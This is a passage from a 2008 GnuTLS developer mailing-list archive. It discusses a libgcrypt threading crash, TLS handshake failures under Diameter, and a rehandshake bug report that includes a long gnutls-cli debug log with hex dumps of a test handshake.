>
> Or should I see with my distro's bugtracker? 
>
> Thanks,




From colin at colino.net  Wed Nov 26 12:55:08 2008
From: colin at colino.net (Colin Leroy)
Date: Wed, 26 Nov 2008 12:55:08 +0100
Subject: Crash in GnuTLS 2.4.1
In-Reply-To: <877i6qogjz.fsf@mocca.josefsson.org>
References: <20081126122301.02c43807@paperstreet.colino.net>
	<877i6qogjz.fsf@mocca.josefsson.org>
Message-ID: <20081126125508.3d37b2b5@paperstreet.colino.net>

On Wed, 26 Nov 2008 12:46:56 +0100, Simon Josefsson wrote:

Hi,

> Looks like a libgcrypt and thread related crash to me.  Is your
> application multi-threaded?  Maybe this helps:
> 
> http://www.gnu.org/software/gnutls/manual/html_node/Multi_002dthreaded-applicati
> ons.html

Looking more closely at it, I noticed 

	/* The order matters. 
	 */

I've fixed the order, we'll see what happens next :-)
Thanks,
-- 
Colin




From simon at josefsson.org  Wed Nov 26 12:55:33 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 26 Nov 2008 12:55:33 +0100
Subject: Crash in GnuTLS 2.4.1
In-Reply-To: <20081126123347.3428518d@paperstreet.colino.net> (Colin Leroy's
	message of "Wed, 26 Nov 2008 12:33:47 +0100")
References: <20081126122301.02c43807@paperstreet.colino.net>
	<20081126123347.3428518d@paperstreet.colino.net>
Message-ID: <87y6z6n1l6.fsf@mocca.josefsson.org>

Colin Leroy <colin at colino.net> writes:

> On Wed, 26 Nov 2008 12:23:01 +0100, Colin Leroy wrote:
>
> Hi,
>
>> #2  0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6
>> #3  0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30)
>> at ath.c:186
>
> Btw, in my application I do have the threads setup with:
> 	gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
>
> But this application also uses a Glib main loop. Should I use
> gcry_threads_other instead?

I don't know.  Maybe ask on the libgcrypt list?

Btw, one idea is to make sure that your call above is invoked before
libgcrypt is initialized.  Maybe your gcry_control call is too late.

/Simon




From Richard.Metzler at lhsgroup.com  Thu Nov 27 09:21:25 2008
From: Richard.Metzler at lhsgroup.com (Metzler, Richard)
Date: Thu, 27 Nov 2008 09:21:25 +0100
Subject: TLS handshake problems
Message-ID: <AA36638116CFFD448AEC78EABECF63EC92A3A1@SRVMAIL01.lhs-systems.com>

Hello,

currently I am testing a TLS connection using Gnu TLS 2.2.5.on server
and client side. For the TCP communication Diameter is used.

There are situations that on both sides the TLS handshake fails, e.g.
due to a wrong client certificate (Gnu TLS error code
NO_CERTIFICATE_FOUND). But in this special case the server finishes the
handshake with error and the client is still waiting in the handshake.
Now the server announces closing the connection to the client by sending
the Diameter disconnect message (DPR). This message is received by the
client Gnu TLS when expecting a TLS message, preventing a correct shut
down of the connection.
To avoid this problem I added a call to gnutls_alert_send_appropriate in
case the server finishes the handshake with errors. This helps to finish
the handshake on the client side in this case, but there are situations
when the handshake is finished on both sides with an error. Then the
additional alert message would be interpreted on the client side as
Diameter message which also is not correct.
My question is, is there a way for the server to decide whether the
alert has to be sent or not, i.e. to detect the state of the client -
maybe by evaluating the result code of the handshake?

Regards,

Richard


----------------------------------------------------------------------------------------------------------------------------------------
LHS Telekommunikation GmbH & Co. KG, 
Address: Herriotstrasse 1, D-60528 Frankfurt, Germany, 
Phone +49 (0)69 2383 3000, Fax +49 (0)69 2383 5000
Commercial Register: Amtsgericht Frankfurt/Main - Registration Number HRA 42727
Personally Liable Partner: LHS Management GmbH - Registration Number HRB 75504
Amtsgericht Frankfurt/Main
Managing Directors: Wolfgang Kroh, Axel Barta, Dr. Jens Troetscher
----------------------------------------------------------------------------------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: </pipermail/attachments/20081127/3c5048e4/attachment.htm>

From sdecugis at nict.go.jp  Fri Nov 28 02:23:55 2008
From: sdecugis at nict.go.jp (Sebastien Decugis)
Date: Fri, 28 Nov 2008 10:23:55 +0900
Subject: TLS handshake problems
In-Reply-To: <AA36638116CFFD448AEC78EABECF63EC92A3A1@SRVMAIL01.lhs-systems.com>
References: <AA36638116CFFD448AEC78EABECF63EC92A3A1@SRVMAIL01.lhs-systems.com>
Message-ID: <492F482B.8090801@nict.go.jp>

Hello,

This is not an answer to your TLS problem, but I'd like to highlight
that in Diameter if the TLS handshake fails you don't have to send a
DPR. Here is an extract from draft-ietf-dime-rfc3588bis-14 section 5.6:

"   If the TLS handshake is successful, all further messages
   will be sent via TLS.  If the handshake fails, both ends move to the
   closed state."


I believe this provides you a workaround for your problem, since if the
connection is simply closed, your client will exit the handshake routine.

Best regards,
Sebastien.


Metzler, Richard a ?crit :
>
> Hello,
>
> currently I am testing a TLS connection using Gnu TLS 2.2.5.on server
> and client side. For the TCP communication Diameter is used.
>
> There are situations that on both sides the TLS handshake fails, e.g.
> due to a wrong client certificate (Gnu TLS error code
> NO_CERTIFICATE_FOUND). But in this special case the server finishes
> the handshake with error and the client is still waiting in the handshake.
>
> Now the server announces closing the connection to the client by
> sending the Diameter disconnect message (DPR). This message is
> received by the client Gnu TLS when expecting a TLS message,
> preventing a correct shut down of the connection.
>
> To avoid this problem I added a call to gnutls_alert_send_appropriate
> in case the server finishes the handshake with errors. This helps to
> finish the handshake on the client side in this case, but there are
> situations when the handshake is finished on both sides with an error.
> Then the additional alert message would be interpreted on the client
> side as Diameter message which also is not correct.
>
> My question is, is there a way for the server to decide whether the
> alert has to be sent or not, i.e. to detect the state of the client ?
> maybe by evaluating the result code of the handshake?
>
> Regards,
>
> Richard
>
>
>
> ----------------------------------------------------------------------------------------------------------------------------------------
>
> LHS Telekommunikation GmbH & Co. KG,
>
> Address: Herriotstrasse 1, D-60528 Frankfurt, Germany,
>
> Phone +49 (0)69 2383 3000, Fax +49 (0)69 2383 5000
>
> Commercial Register: Amtsgericht Frankfurt/Main - Registration Number
> HRA 42727
>
> Personally Liable Partner: LHS Management GmbH - Registration Number
> HRB 75504
>
> Amtsgericht Frankfurt/Main
>
> Managing Directors: Wolfgang Kroh, Axel Barta, Dr. Jens Troetscher
>
> ----------------------------------------------------------------------------------------------------------------------------------------
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Gnutls-devel mailing list
> Gnutls-devel at gnu.org
> http://lists.gnu.org/mailman/listinfo/gnutls-devel
>   

-- 
Sebastien Decugis
Research fellow
Network Architecture Group
NICT (nict.go.jp)





From joe at manyfish.co.uk  Fri Nov 28 15:47:22 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Fri, 28 Nov 2008 14:47:22 +0000
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <49290E02.1080302@gnutls.org>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
	<20081122080503.GA15594@manyfish.co.uk>
	<87bpw7pp58.fsf@squeak.fifthhorseman.net>
	<20081122221300.GA20323@manyfish.co.uk>
	<49290E02.1080302@gnutls.org>
Message-ID: <20081128144722.GA5407@manyfish.co.uk>

I've tried this using a git build of GnuTLS, gnutls-cli and a test 
httpd/mod_ssl server configured for per-location client cert auth (i.e. 
it requests a second handshake after the GET request is recevied), and 
it does fail, so I think this is indeed a GnuTLS bug in the handling of 
rehandshakes.

Attached:

1) gnutls-cli log output from testing using httpd/mod_ssl
2) patch to tests/x509self.c which attempts to replicate this test case
3) stdout and stderr output from running (2)



-------------- next part --------------
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_MD5
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1
|<2>| EXT[0x1a7f3f0]: Sending extension CERT_TYPE
|<2>| EXT[0x1a7f3f0]: Sending extension SERVER_NAME
|<3>| HSK[0x1a7f3f0]: CLIENT HELLO was send [110 bytes]
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<4>| REC[0x1a7f3f0]: Sending Packet[0] Handshake(22) with length: 110
|<2>| ASSERT: gnutls_cipher.c:204
|<7>| WRITE: Will write 115 bytes to 0x4.
|<7>| WRITE: wrote 115 bytes to 0x4. Left 0 bytes. Total 115 bytes.
|<7>| 0000 - 16 03 02 00 6e 01 00 00 6a 03 02 49 2f ff a3 b5 
|<7>| 0001 - c1 75 14 54 24 96 73 7c cb a3 d0 e5 fe 13 28 b9 
|<7>| 0002 - ed 7e 7a 6d 85 1b e5 33 bd 69 ac 00 00 28 00 33 
|<7>| 0003 - 00 39 00 16 00 32 00 38 00 13 00 66 00 90 00 91 
|<7>| 0004 - 00 8f 00 8e 00 2f 00 35 00 0a 00 05 00 04 00 8c 
|<7>| 0005 - 00 8d 00 8b 00 8a 01 00 00 19 00 09 00 03 02 00 
|<7>| 0006 - 01 00 00 00 0e 00 0c 00 00 09 6c 6f 63 61 6c 68 
|<7>| 0007 - 6f 73 74 
|<4>| REC[0x1a7f3f0]: Sent Packet[1] Handshake(22) with length: 115
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 00 30 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[0] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[0] Handshake(22) with length: 48
|<7>| READ: Got 48 bytes from 0x4
|<7>| READ: read 48 bytes from 0x4
|<7>| 0000 - 02 00 00 2c 03 01 49 2f ff a3 45 b7 6d be 94 29 
|<7>| 0001 - c2 9e fa 89 30 5b 0d e0 2e 82 ed 49 80 1f 1a 3c 
|<7>| 0002 - f3 a7 d5 9b 9d d7 00 00 33 00 00 04 00 00 00 00 
|<7>| 0003 - 
|<7>| RB: Have 5 bytes into buffer. Adding 48 bytes.
|<7>| RB: Requested 53 bytes
|<2>| ASSERT: gnutls_cipher.c:204
|<4>| REC[0x1a7f3f0]: Decrypted Packet[0] Handshake(22) with length: 48
|<6>| BUF[HSK]: Inserted 48 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
|<3>| HSK[0x1a7f3f0]: SERVER HELLO was received [48 bytes]
|<6>| BUF[REC][HD]: Read 44 bytes of Data(22)
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<6>| BUF[HSK]: Inserted 4 bytes of Data
|<6>| BUF[HSK]: Inserted 44 bytes of Data
|<3>| HSK[0x1a7f3f0]: Server's version: 3.1
|<3>| HSK[0x1a7f3f0]: SessionID length: 0
|<3>| HSK[0x1a7f3f0]: SessionID: 
|<3>| HSK[0x1a7f3f0]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1
|<2>| EXT[0x1a7f3f0]: Received extension 'SERVER_NAME/0'
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 05 8a 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[1] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[1] Handshake(22) with length: 1418
|<7>| READ: Got 1418 bytes from 0x4
|<7>| READ: read 1418 bytes from 0x4
|<7>| 0000 - 0b 00 05 86 00 05 83 00 02 d8 30 82 02 d4 30 82 
|<7>| 0001 - 02 3d a0 03 02 01 02 02 01 0c 30 0d 06 09 2a 86 
|<7>| 0002 - 48 86 f7 0d 01 01 04 05 00 30 81 94 31 0b 30 09 
|<7>| 0003 - 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 
|<7>| 0004 - 04 08 13 0a 43 61 6c 69 66 6f 72 6e 69 61 31 16 
|<7>| 0005 - 30 14 06 03 55 04 07 13 0d 53 61 6e 20 46 72 61 
|<7>| 0006 - 6e 63 69 73 63 6f 31 0c 30 0a 06 03 55 04 0a 13 
|<7>| 0007 - 03 41 53 46 31 13 30 11 06 03 55 04 0b 13 0a 68 
|<7>| 0008 - 74 74 70 64 2d 74 65 73 74 31 0b 30 09 06 03 55 
|<7>| 0009 - 04 03 13 02 63 61 31 28 30 26 06 09 2a 86 48 86 
|<7>| 000a - f7 0d 01 09 01 16 19 74 65 73 74 2d 64 65 76 40 
|<7>| 000b - 68 74 74 70 64 2e 61 70 61 63 68 65 2e 6f 72 67 
|<7>| 000c - 30 1e 17 0d 30 38 31 31 32 37 32 32 35 30 31 34 
|<7>| 000d - 5a 17 0d 30 39 31 31 32 37 32 32 35 30 31 34 5a 
|<7>| 000e - 30 81 a4 31 0b 30 09 06 03 55 04 06 13 02 55 53 
|<7>| 000f - 31 13 30 11 06 03 55 04 08 13 0a 43 61 6c 69 66 
|<7>| 0010 - 6f 72 6e 69 61 31 16 30 14 06 03 55 04 07 13 0d 
|<7>| 0011 - 53 61 6e 20 46 72 61 6e 63 69 73 63 6f 31 0c 30 
|<7>| 0012 - 0a 06 03 55 04 0a 13 03 41 53 46 31 1c 30 1a 06 
|<7>| 0013 - 03 55 04 0b 13 13 68 74 74 70 64 2d 74 65 73 74 
|<7>| 0014 - 2f 72 73 61 2d 74 65 73 74 31 12 30 10 06 03 55 
|<7>| 0015 - 04 03 13 09 6c 6f 63 61 6c 68 6f 73 74 31 28 30 
|<7>| 0016 - 26 06 09 2a 86 48 86 f7 0d 01 09 01 16 19 74 65 
|<7>| 0017 - 73 74 2d 64 65 76 40 68 74 74 70 64 2e 61 70 61 
|<7>| 0018 - 63 68 65 2e 6f 72 67 30 81 9f 30 0d 06 09 2a 86 
|<7>| 0019 - 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 
|<7>| 001a - 02 81 81 00 a9 b4 c6 02 23 44 76 3a 0d 8f 3c 30 
|<7>| 001b - 33 65 8b e8 e4 38 09 58 13 55 04 79 8c db 3f 0e 
|<7>| 001c - cf a6 d2 d1 c2 bb f0 01 6c 44 bf 40 f6 5f b1 0d 
|<7>| 001d - 33 01 d1 6d 2e 1f 80 77 82 6d d8 d6 5b 2b 57 6a 
|<7>| 001e - 8b 1d ab 50 f1 d3 a0 d2 13 5e 97 87 ed bc a3 35 
|<7>| 001f - 16 07 05 02 6c 73 c1 2b cd e9 ad e1 3e ed 0f 46 
|<7>| 0020 - 27 07 d3 fb a3 77 b8 6d 26 14 23 b0 43 65 00 e7 
|<7>| 0021 - da 93 e4 1f 11 03 e2 8b a3 da 99 b8 6e 5e 30 c6 
|<7>| 0022 - b3 06 82 89 02 03 01 00 01 a3 24 30 22 30 20 06 
|<7>| 0023 - 09 60 86 48 01 86 f8 42 01 0d 04 13 16 11 54 68 
|<7>| 0024 - 69 73 20 49 73 20 41 20 43 6f 6d 6d 65 6e 74 30 
|<7>| 0025 - 0d 06 09 2a 86 48 86 f7 0d 01 01 04 05 00 03 81 
|<7>| 0026 - 81 00 28 eb 82 ee 54 cf 10 cd 52 6b 65 85 a9 9c 
|<7>| 0027 - b0 03 5e 3c e6 c7 93 3a 2d 0b 32 b5 36 55 dc e8 
|<7>| 0028 - a3 2e 64 44 5e 8a 34 38 00 a8 01 91 c8 67 17 da 
|<7>| 0029 - 87 d9 50 89 a9 b0 b3 25 57 01 40 44 a9 49 31 2c 
|<7>| 002a - 94 71 3f 5e d1 21 91 59 af b2 1e 70 24 67 1c b8 
|<7>| 002b - 9d 9f 7d f9 a9 96 f6 71 28 39 5f e4 e4 7e 85 6d 
|<7>| 002c - a0 e6 93 dd c8 7a 4d 6d ed 42 1e 5c 2f f1 f1 7e 
|<7>| 002d - 12 ce 99 23 ae e4 6c 87 67 db b2 f7 1d 01 6a 69 
|<7>| 002e - e0 06 00 02 a5 30 82 02 a1 30 82 02 0a 02 09 00 
|<7>| 002f - d7 cd cc 48 ce dc da 75 30 0d 06 09 2a 86 48 86 
|<7>| 0030 - f7 0d 01 01 05 05 00 30 81 94 31 0b 30 09 06 03 
|<7>| 0031 - 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 
|<7>| 0032 - 13 0a 43 61 6c 69 66 6f 72 6e 69 61 31 16 30 14 
|<7>| 0033 - 06 03 55 04 07 13 0d 53 61 6e 20 46 72 61 6e 63 
|<7>| 0034 - 69 73 63 6f 31 0c 30 0a 06 03 55 04 0a 13 03 41 
|<7>| 0035 - 53 46 31 13 30 11 06 03 55 04 0b 13 0a 68 74 74 
|<7>| 0036 - 70 64 2d 74 65 73 74 31 0b 30 09 06 03 55 04 03 
|<7>| 0037 - 13 02 63 61 31 28 30 26 06 09 2a 86 48 86 f7 0d 
|<7>| 0038 - 01 09 01 16 19 74 65 73 74 2d 64 65 76 40 68 74 
|<7>| 0039 - 74 70 64 2e 61 70 61 63 68 65 2e 6f 72 67 30 1e 
|<7>| 003a - 17 0d 30 38 31 31 32 37 32 32 35 30 31 33 5a 17 
|<7>| 003b - 0d 30 39 31 31 32 37 32 32 35 30 31 33 5a 30 81 
|<7>| 003c - 94 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 
|<7>| 003d - 30 11 06 03 55 04 08 13 0a 43 61 6c 69 66 6f 72 
|<7>| 003e - 6e 69 61 31 16 30 14 06 03 55 04 07 13 0d 53 61 
|<7>| 003f - 6e 20 46 72 61 6e 63 69 73 63 6f 31 0c 30 0a 06 
|<7>| 0040 - 03 55 04 0a 13 03 41 53 46 31 13 30 11 06 03 55 
|<7>| 0041 - 04 0b 13 0a 68 74 74 70 64 2d 74 65 73 74 31 0b 
|<7>| 0042 - 30 09 06 03 55 04 03 13 02 63 61 31 28 30 26 06 
|<7>| 0043 - 09 2a 86 48 86 f7 0d 01 09 01 16 19 74 65 73 74 
|<7>| 0044 - 2d 64 65 76 40 68 74 74 70 64 2e 61 70 61 63 68 
|<7>| 0045 - 65 2e 6f 72 67 30 81 9f 30 0d 06 09 2a 86 48 86 
|<7>| 0046 - f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 
|<7>| 0047 - 81 00 cc b4 9c 64 b4 77 c2 45 3e 0c f7 33 fd b0 
|<7>| 0048 - e8 5f 19 a5 b9 6e 7f 7b fb eb da 6e be 26 f7 8d 
|<7>| 0049 - 9a d4 0b c4 49 cd 39 c3 77 47 a4 53 3a 2c 39 d1 
|<7>| 004a - 90 85 dd 97 d7 ff 3e 5e be b4 86 81 7b 00 2a 3f 
|<7>| 004b - 7e e7 b0 4a f7 f6 6d 40 44 dc 4f de 62 5b f7 d2 
|<7>| 004c - 4c a1 4b 3d 83 12 eb 84 ab 8c f6 5e 8a 5c 67 4e 
|<7>| 004d - 00 7b 80 d2 54 c8 13 5a 47 fe 58 a4 ac e8 6e d4 
|<7>| 004e - a3 ec 90 d8 8e 84 e8 b1 40 21 df 4a ca f8 35 4d 
|<7>| 004f - a2 49 02 03 01 00 01 30 0d 06 09 2a 86 48 86 f7 
|<7>| 0050 - 0d 01 01 05 05 00 03 81 81 00 5f d4 ca f5 98 86 
|<7>| 0051 - 1d d1 5e db d8 ec a6 8a 14 e3 c2 5f 1e ef 1d 10 
|<7>| 0052 - 15 ff b6 1e af 69 50 f4 0f 54 80 b3 1a 15 26 77 
|<7>| 0053 - 1d f9 ae 21 4d b3 1e b0 63 39 95 1d 30 5a 38 bd 
|<7>| 0054 - 7d 5b 6e bb bd f6 e3 b9 87 01 f4 b4 35 80 ad f9 
|<7>| 0055 - ae 07 14 57 2c 60 3b 39 92 a5 29 d4 e2 9c d1 78 
|<7>| 0056 - b8 cb a2 47 bb 59 30 c3 32 75 9c ab 1e c8 7f a9 
|<7>| 0057 - 19 d7 d8 41 ee 9b 2d 0a 4f 7f 7f 2c 11 9c 34 71 
|<7>| 0058 - 02 05 8d ab 32 81 ff 73 04 76 
|<7>| RB: Have 5 bytes into buffer. Adding 1418 bytes.
|<7>| RB: Requested 1423 bytes
|<2>| ASSERT: gnutls_cipher.c:204
|<4>| REC[0x1a7f3f0]: Decrypted Packet[1] Handshake(22) with length: 1418
|<6>| BUF[HSK]: Inserted 1418 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
|<3>| HSK[0x1a7f3f0]: CERTIFICATE was received [1418 bytes]
|<6>| BUF[REC][HD]: Read 1414 bytes of Data(22)
|<6>| BUF[HSK]: Peeked 48 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<6>| BUF[HSK]: Inserted 4 bytes of Data
|<6>| BUF[HSK]: Inserted 1414 bytes of Data
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 01 8d 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[2] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[2] Handshake(22) with length: 397
|<7>| READ: Got 397 bytes from 0x4
|<7>| READ: read 397 bytes from 0x4
|<7>| 0000 - 0c 00 01 89 00 80 d6 7d e4 40 cb bb dc 19 36 d6 
|<7>| 0001 - 93 d3 4a fd 0a d5 0c 84 d2 39 a4 5f 52 0b b8 81 
|<7>| 0002 - 74 cb 98 bc e9 51 84 9f 91 2e 63 9c 72 fb 13 b4 
|<7>| 0003 - b4 d7 17 7e 16 d5 5a c1 79 ba 42 0b 2a 29 fe 32 
|<7>| 0004 - 4a 46 7a 63 5e 81 ff 59 01 37 7b ed dc fd 33 16 
|<7>| 0005 - 8a 46 1a ad 3b 72 da e8 86 00 78 04 5b 07 a7 db 
|<7>| 0006 - ca 78 74 08 7d 15 10 ea 9f cc 9d dd 33 05 07 dd 
|<7>| 0007 - 62 db 88 ae aa 74 7d e0 f4 d6 e2 bd 68 b0 e7 39 
|<7>| 0008 - 3e 0f 24 21 8e b3 00 01 02 00 80 56 2e 53 3c 20 
|<7>| 0009 - 46 75 af a7 f4 6c df 2d 00 5d 34 86 4a 20 a3 7a 
|<7>| 000a - 10 94 79 a6 b7 fc 1e 9c ee 47 f1 3a 23 9f 51 a7 
|<7>| 000b - 8d 60 f1 92 39 6f e4 c6 c5 b9 0a c3 bb ce 35 c1 
|<7>| 000c - f4 5c 79 c7 d7 3c 03 9c f5 51 16 fb 03 6a 3b 67 
|<7>| 000d - 88 16 f0 50 3b 0a 18 da 17 5e 28 d0 b1 5e 41 5a 
|<7>| 000e - c0 55 25 a7 23 08 34 37 ac 6e e6 7c 6d 78 cd 66 
|<7>| 000f - cc 7c b0 d0 9e d0 ef 5b b0 88 6f 57 d1 b9 92 4d 
|<7>| 0010 - e8 bd 3d cd 9a 2f 37 91 ef 15 1c 00 80 1d 58 f0 
|<7>| 0011 - e2 f4 78 a4 a5 32 2f 33 26 49 41 f2 07 67 25 fc 
|<7>| 0012 - 6d 0b 92 d4 83 b9 2c 33 7c f6 07 8e 84 01 15 7f 
|<7>| 0013 - 3d 9a 47 f4 98 82 1c 29 92 ca 8a 1c 00 93 82 90 
|<7>| 0014 - b1 e2 bb 47 05 e3 14 94 22 80 97 2f 58 9f 97 c8 
|<7>| 0015 - c3 70 4a b4 69 7f 73 8a 30 74 71 5b 0d eb 71 c7 
|<7>| 0016 - 1f f5 d3 ec b8 66 ac 9d a2 f1 37 f5 d3 a7 0c d0 
|<7>| 0017 - ee 22 0a aa 50 22 48 ce 44 c5 a1 cf e9 27 89 76 
|<7>| 0018 - 22 c7 c8 43 8d ad f5 cd 52 17 3e 84 81 
|<7>| RB: Have 5 bytes into buffer. Adding 397 bytes.
|<7>| RB: Requested 402 bytes
|<2>| ASSERT: gnutls_cipher.c:204
|<4>| REC[0x1a7f3f0]: Decrypted Packet[2] Handshake(22) with length: 397
|<6>| BUF[HSK]: Inserted 397 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
|<3>| HSK[0x1a7f3f0]: SERVER KEY EXCHANGE was received [397 bytes]
|<6>| BUF[REC][HD]: Read 393 bytes of Data(22)
|<6>| BUF[HSK]: Peeked 1418 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<6>| BUF[HSK]: Inserted 4 bytes of Data
|<6>| BUF[HSK]: Inserted 393 bytes of Data
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 00 04 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[3] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[3] Handshake(22) with length: 4
|<7>| READ: Got 4 bytes from 0x4
|<7>| READ: read 4 bytes from 0x4
|<7>| 0000 - 0e 00 00 00 
|<7>| RB: Have 5 bytes into buffer. Adding 4 bytes.
|<7>| RB: Requested 9 bytes
|<2>| ASSERT: gnutls_cipher.c:204
|<4>| REC[0x1a7f3f0]: Decrypted Packet[3] Handshake(22) with length: 4
|<6>| BUF[HSK]: Inserted 4 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
|<3>| HSK[0x1a7f3f0]: SERVER HELLO DONE was received [4 bytes]
|<2>| ASSERT: gnutls_handshake.c:1123
|<6>| BUF[HSK]: Peeked 397 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<6>| BUF[HSK]: Inserted 4 bytes of Data
|<3>| HSK[0x1a7f3f0]: CLIENT KEY EXCHANGE was send [134 bytes]
|<6>| BUF[HSK]: Peeked 4 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<4>| REC[0x1a7f3f0]: Sending Packet[1] Handshake(22) with length: 134
|<2>| ASSERT: gnutls_cipher.c:204
|<7>| WRITE: Will write 139 bytes to 0x4.
|<7>| WRITE: wrote 139 bytes to 0x4. Left 0 bytes. Total 139 bytes.
|<7>| 0000 - 16 03 01 00 86 10 00 00 82 00 80 d5 36 64 fa 6d 
|<7>| 0001 - f7 78 17 33 91 11 6e 23 e3 50 66 6f bb fc 31 0d 
|<7>| 0002 - 05 2f 54 30 ee a7 e2 b5 6f e8 d9 30 b4 e0 13 7d 
|<7>| 0003 - a1 23 92 f1 a4 1e 36 d6 dd c7 2e 4f fa 48 62 52 
|<7>| 0004 - 7c 5e e6 93 94 72 8f c1 8d 29 c3 73 68 69 a1 0d 
